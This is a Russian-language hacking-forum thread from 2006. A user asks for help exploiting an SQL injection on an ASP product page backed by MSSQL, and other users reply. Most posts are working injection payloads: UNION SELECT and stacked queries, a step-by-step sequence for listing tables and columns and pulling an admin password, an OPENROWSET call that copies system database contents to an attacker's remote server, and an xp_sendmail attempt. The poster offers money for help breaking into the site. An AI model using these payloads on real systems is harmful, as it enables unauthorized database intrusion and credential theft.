Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Редкая трабла с MsSQL (https://forum.antichat.xyz/showthread.php?t=20157)

Xex 05.06.2006 02:30

Редкая трабла с MsSQL
 
Привет!
нашел инъекцию следующего вида
http://www.server.com/products.asp?cat=Cars'

Код:

Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclosed quotation mark before the character string 'CAR''.

/include/ADOFunctions.asp, line 58

При попытке написать UNION:
http://www.server.com/products.asp?cat=CAR'%20UNION%20ALL%20SELECT%20*%2 0FROM%20INFORMATION_SCHEMA.TABLES--

ругается
Код:

Microsoft OLE DB Provider for SQL Server error '80040e14'

Incorrect syntax near the keyword 'UNION'.

/include/ADOFunctions.asp, line 58

Проверил синтакцис сто раз.
фильтрации никакой,
запросы вида
http://www.server.com/products.asp?cat=CAR' or 1=1--
ругется на синтакцис "or".

products.asp?cat=CAR';SELECT%20*%20FROM%20INFORMAT ION_SCHEMA.TABLES--
работает без проблем,
Думал фильтрует юнионы, оры и энды,но запрос вида

products.asp?cat=CAR';SELECT%20*%20FROM%20INFORMAT ION_SCHEMA.TABLES%20UNION%20SELECT%20*%20FROM%20IN FORMATION_SCHEMA.TABLES--
тоже успешно выполняется.

Думал, что все фильтруется после кавычки, однако если ввести немного "подпорченный" запрос(последний прведенный), то он ругается.

Помогите советом.
Пасиб.

Xex 05.06.2006 04:11

ДА вот по ходу еще два вопроса появилось
1)если юнион не пашет думаю сделать так

Код:

insert%20into%20OPENROWSET('SQLoledb',%20'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;',%20'select%20*%20from%20_sysdatabases')%20%20select%20*%20from%20master.dbo.sysdatabases--
Так вот, кто подскажет бесплатный хостинг, где разрешено подключатся к БД не только с локалхоста

2)еще хотелось бы использовать

Код:

'; exec master..xp_sendmail
запускал без ошибок все прошло, но на мыло пока ничего не пришло
Так вот, как узнать что sendmail - точно разрешен?

Пасибо за внимание.

gadjet 05.06.2006 07:33

Попробуй запрос типа

products.asp?cat=(SELECT * FROM INFORMATION_SCHEMA.TABLES)--

Xex 05.06.2006 13:46

2 gadjet:
тут подзапросом и не пахнет,хотя попробовал.=)
2 all:
На ачате чтолько грамотных людей тусует, и мне никто не поможет?.может предложить денег?скажем 100 ваксов?

Elekt 05.06.2006 22:24

PHP код:

http://www.server.com/products.asp?cat=CAR'%20UNION%20SELECT%20TABLE_NAME%20FROM%20INFORMATION_SCHEMA.TABLES-- 

И поехали дальше:

PHP код:

?id=-1 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
(
допустимпервая таблица называется 'table1').
Узнать имя таблицыне table1:
?
id=-1 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
Узнать имя таблицыне table1table2table3:
?
id=-1 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1','table2','table2') --
Найти таблицув названии которой присутствует "user":
?
id=-1 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25user%25'--
Узнать имя первого столбца в "table1":
?
id=-1 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="table1"--
Узнать имя столбцане 'login_id'не 'login_name'не 'password',details':
?id=-1 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='
admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Узнать пароль пользователя 'admin':
?
id=-1 UNION SELECT TOP 1 password FROM users where login_name='admin'--
?
id=-(SELECT+TOP+1+Login+FROM+admin)--
?
id=-(UNION+SELECT+TOP+1+admin_password+FROM+admin)-- 

100 баксов мне хватит - высылай =)

Xex 05.06.2006 22:59

2 Elect:
Уважаемый, я бы выслал деньги, если вы действительно ответили на вопрос=))
перечитайте что я писал выше, юнион здесь не помощь,если было бы ве так просто=)
Думаю сдесь надо делать упор на "exec"

pop_korn 07.08.2006 14:04

скорее всего у тебя синтаксис не правильный выходит в первом запросе...
попробуй вместо ' ), '), )), ')) и так далее

ZaCo 07.08.2006 14:44

pop_korn прежде чем советовать подумай.
Xex а кто вообще сказал что там селект? введи order by 1. елси будет ругаться аналогично то там вообще не селект. возможно там `Cat` подставляется прямо в order by тут аналогично никакого юнион селекта не сделать.
OPENROWSET Это безусловно удобная штука, но в большинстве случаев такие внешние вызовы блокируются фаерволом. master..xp_sendmail ОЧЕНЬ редко срабатывает тк во-первых, нужно иметь права админа или пользователя dbo, во-вторых, эта процедура напрямую взаимодействует с outlookoм и никому она в конечном счете вообще не нужна, поэтому с ней даже пытаться работать не советую. а то что проходит без ошибок в ответе скрипта не говорит о том что нет ошибки при выполнении запроса ;)


Время: 00:06